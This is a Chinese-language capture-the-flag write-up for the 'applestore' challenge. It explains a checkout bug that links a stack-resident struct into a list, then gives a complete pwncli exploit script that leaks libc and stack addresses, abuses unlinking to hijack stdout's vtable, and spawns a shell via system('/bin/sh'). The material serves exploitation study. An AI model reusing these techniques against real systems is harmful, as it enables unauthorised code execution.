pwnable_applestore

注意
本文最后更新于 2022-03-04,文中内容可能已过时。

总结

看上去花里胡哨的,其实就是对栈空间的一个利用。

checksec

libc-2.23.so

漏洞点

漏洞在checkout上,可以将栈上的Apple添加到链表中,而栈上的空间是可控的:

利用思路

恢复出结构体:

1
2
3
4
5
6
struct Apple {
	char *info;
	int price;
	struct Apple* next;
	struct Apple* pre;
};

利用上面的漏洞,思路为:

  • 将栈上的Apple放入链表
  • 控制栈上的apple->info,修改为一个got表地址,泄露libc地址;修改为libc.sym['__environ']泄露栈地址
  • 利用delete的解链,将_IO_2_1_stdout_vtable写为栈地址,并利用printf调用链,控制执行gets(stdout)
  • delete结束后,然后继续利用printf调用链,执行system("/bin/sh")

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
if gift.remote:
    libc = ELF("./libc.so.6")


def list_apple():
    sla("> ", "1")

def add(data):
    if isinstance(data, int):
        data = str(data)
    sla("> ", "2")
    sla("Device Number> ", data)
    ru("You've put *")
    m = rl()
    log_ex(f"get msg: {m}")
    return m

def dele(data):
    if isinstance(data, int):
        data = str(data)
    sla("> ", "3")
    sla("Item Number> ", data)
    m = rls("Remove")
    log_ex(f"get msg: {m}")
    return m


def cart(check="y", n=1):
    sla("> ", "4")
    sla("Let me check your cart. ok? (y/n) > ", check)
    m = rs(n)
    log_ex(f"get msg: {m}")
    return m

def checkout(check="y", n=1):
    sla("> ", "5")
    sla("Let me check your cart. ok? (y/n) > ", check)
    m = rs(n)
    log_ex(f"get msg: {m}")
    return m

# [7, 18, 0, 1]
for i in range(18):
    add(2)

for i in range(7):
    add(1)

add(4)

# 满足checkout条件
checkout(n=26)

# 泄露libc地址
*_, m = cart(check=b"yy"+p32(elf.got.atoi)+p32(0)*3, n=28)

atoi_addr = u32_ex(m[4:8])
log_address("atoi_addr", atoi_addr)
libc_base = atoi_addr - libc.sym.atoi
log_libc_base_addr(libc_base)
libc.address = libc_base

# 泄露栈地址
*_, m = cart(check=b"yy"+p32(libc.sym['__environ'])+p32(0)*3, n=28)
stack_addr = u32_ex(m[4:8])
log_address("stack_addr", stack_addr)
buf_addr = stack_addr - 0x124
log_address("buf_addr", buf_addr)


sla("> ", "3")
# 控制执行gets
sla("Item Number> ", b"27"+p32(0)+p32(libc.sym.gets)+p32(libc.sym['_IO_2_1_stdout_'] + 148-0xc) + p32(buf_addr+4-0x1c)+b"aa")

sleep(1)
# 伪造stdout结构体
payload = flat({
    0:"\x20/bin/sh;",
    56:1,
    64:0xffffffff,
    76: 0xffffffff,
    80: 0xffffffff,
    104: 0xffffffff,
    72: libc.sym['__free_hook'] - 0x40,
    148: libc.sym['_IO_2_1_stdout_']+148,
    152: p32(libc.sym['_IO_2_1_stderr_'])+p32(libc.sym['_IO_2_1_stdout_'])\
        +p32(libc.sym['_IO_2_1_stdin_'])+p32(libc.sym.system)*7
}, filler="\x00")

io.sendline(payload)

ia()

远程打:

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
支付宝
微信
0%